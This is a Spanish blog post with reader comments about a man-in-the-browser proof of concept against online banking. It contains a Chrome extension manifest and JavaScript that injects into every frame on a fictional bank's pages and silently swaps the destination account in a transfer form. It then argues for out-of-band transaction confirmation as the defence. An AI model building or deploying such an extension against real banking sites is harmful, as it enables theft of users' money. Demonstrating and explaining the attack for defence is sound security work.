jueves, junio 05, 2014

Un abogado, un man in the browser y un side-chanel

Un día fui a comer con unos amigos y me encontré con mi amigo John Doe que es licenciado y experto en legislación aplicada a la seguridad informática. Estudió en un país lejano, desconozco si en nuestro país se imparte esta carrera. Y yo soy un híbrido entre administrador y programador de aplicaciones de servidor en el lado del código abierto - anti nada pero no estoy familiarizado con Microsoft.

Mi amigo John Doe estaba trabajando para entidades bancarias locales y me dijo algo como "Mis clientes están muy seguros de sí mismos, con las nuevas implementaciones en materia de seguridad cualquier mecanismo intermedio entre un usuario y la entidad es detectado y perseguido". Lo que para mis oídos significa "A que no encuentras la manera de contradecir esta afirmación". Ya me faltaba tiempo para llegar a casa...

Detectar cosas en medio de una conexión entre el cliente y el servidor exige, obligatoriamente, un side-channel. Si no puedes controlar el 100 % de la comunicación, entonces estás obligado a trabajar con canales paralelos como los terminales móviles - como hace Latch -, con los tokens hardware que sirven para teclear información que no deba ir desde el navegador de Internet, o usar caminos de covert-channels, como el que se uso en Facebook para analizar los certificados digitales usando un truco de Flash poco conocido.

Lo más complicado cuesta muchas horas, y no me sobran, así que intentaría algo sencillo, una prueba de concepto para romper la afirmación. Una cosa sencilla y que pueda probar en casa sin levantar sospechas, y evitar las pruebas en el entorno real, o al menos, evitar ser detectado controlando el lado cliente, así que probé con Javascript.

La idea de hacer un Frame envolviendo la página del banco e interactuar con el contenido se esfumó después de pelear unas horas contra la Política del mismo origen y me di por vencido. No conseguiría saltarme la política en la mayoría de los exploradores como era mi intención.

Entonces se me ocurrió probar con una extensión del explorador, como hacen desde hace tiempo muchos bichos malos para hacer un Man in the Browser en sus esquemas de Fraude Online. Quería ver si sería difícil hacer esa extensión maliciosa. Y funcionó. Con una extensión se puede obtener y modificar el contenido de cualquier Frame. El manifest.json le indica lo siguiente:
"content_scripts":
[

{
     "matches": ["https://*.bancomalo.com/*",
                    "https://*.bancomalo.es/*"],

                    "js": ["js/evil_in_bancomalo.js"],
                    "all_frames": true
}
]
Lo siguiente fue coser y cantar, seguir la guía de programación de extensiones para Chrome y añadir el bicho "evil_in_bancomalo.js". Hay que decir que a lo mejor hice más de la cuenta, pero habiendo hecho mil pruebas para saltarme la Política del mismo sitio, me gustaba la idea de la función "infectDocument" que imprime la otra función en todos los frames:
/**
* frame infection
*/
 
function infectDocument() {
var frameHead = document.getElementsByTagName('head')[0];
var newScript = document.createElement('script');
newScript.type = 'text/javascript';
newScript.innerHTML = anchorAttach();
frameHead.appendChild(newScript);
}
/**
* attaching function for all anchor
*/

function anchorAttach() {
for ( var els = document.getElementsByTagName('a'), i = els.length; i--;)
{

     switch(els[i].textContent || els[i].innerText) {
     case 'Continuar':
       els[i].onclick = function ()
       {

       if (document.getElementById('Campo_Entidad').value)
       {

       document.getElementById('Campo_Entidad').value = '0XXX';
       document.getElementById('Campo_Oficina').value = '1XXX';
       document.getElementById('Campo_DC').value = '95';
       document.getElementById('Campo_Cuenta').value = '281186XXXX';
       }
      };
    break;
}
}
}
// run
infectDocument();
¿Qué hace esta extensión?

Muy sencillo, un usuario tiene instalada la extensión y entra en la página de su banco bancomalo.com. La extensión se activa cuando encuentra el campo del formulario llamado "Campo_Entidad" justo en el formulario para hacer transferencias y donde el usuario escribe su número de cuenta destinataria, el bicho escribe otra.

En la página de confirmación también se podría programar un truco usando la memoria del explorador para mostrarle el número que había indicado el propio usuario, pero el formulario enviaría el dinero a la cuenta que el bicho le indica. El usuario sin darse cuenta pasaría todos los controles de seguridad y números secretos hasta aceptar la transferencia a un número de cuenta al que realmente no quiere enviar el dinero.

La única solución vuelve al inicio. Contar con un side-channel que le envíe a los usuarios vía SMS, vía app para smartphone o vía token hardware la información de la transacción para que el usuario pueda ver por un canal no controlado por el malware lo que va a realizar. No olvidéis que mi amigo era abogado al fin y al cabo.

Por supuesto, para acabar con estas extensiones maliciosas en este ataque concreto los navegadores permiten abrirse en modo seguro sin cargar ninguna extensión, así que si quieres evitar estos ataques, revisa cómo está configurado tu navegador.

Autor: Jaume M.

4 comentarios:

Jandro dijo...

Nota mental: Nunca picar a Jaume :-)

Enhorabuena por el artículo. En primera instancia, también hubiera probado con el script, pero la idea de la extensión es muy curiosa.

Voy a echarle un vistazo a la guía de Chrome.

Anónimo dijo...

John Doe, conocido mundialmente.

Orangután dijo...

No se para que banco trabajara tu amigo, pero con los que trabajo yo, me mandan un SMS antes o después con algunos digitos de la cuenta de destino y el importe. Bien para aceptar con un código que he de poner en el form, o bien para confirmar después.

antl dijo...

No es por llevar la contraria, pero desde mi punto de vista un Man in the Browser no contradice la afirmación: "Mis clientes están muy seguros de sí mismos, con las nuevas implementaciones en materia de seguridad cualquier mecanismo intermedio entre un usuario y la entidad es detectado y perseguido"

Leyendo esa frase me parece que lo que han implementado es un mecanismo para detectar / perseguir ataques del tipo Man in the Middle, yo interpreto "mecanismo intermedio" como algo que se encuentra entre el cliente y el servidor... si el atacante se ha hecho con el navegador, no hay detección posible.

No me malinterpretes, estoy totalmente de acuerdo con la prueba de concepto y con que es necesario una confirmación a través de otro canal, lo único que quería expresar es que no me parece que con esto contradigas lo que decía Mr. Doe.

Entrada destacada

10 maneras de sacarle el jugo a tu cuenta de @MyPublicInbox si eres un Perfil Público

Cuando doy una charla a algún amigo, conocido, o a un grupo de personas que quieren conocer MyPublicInbox , siempre se acaban sorprendiendo ...

Entradas populares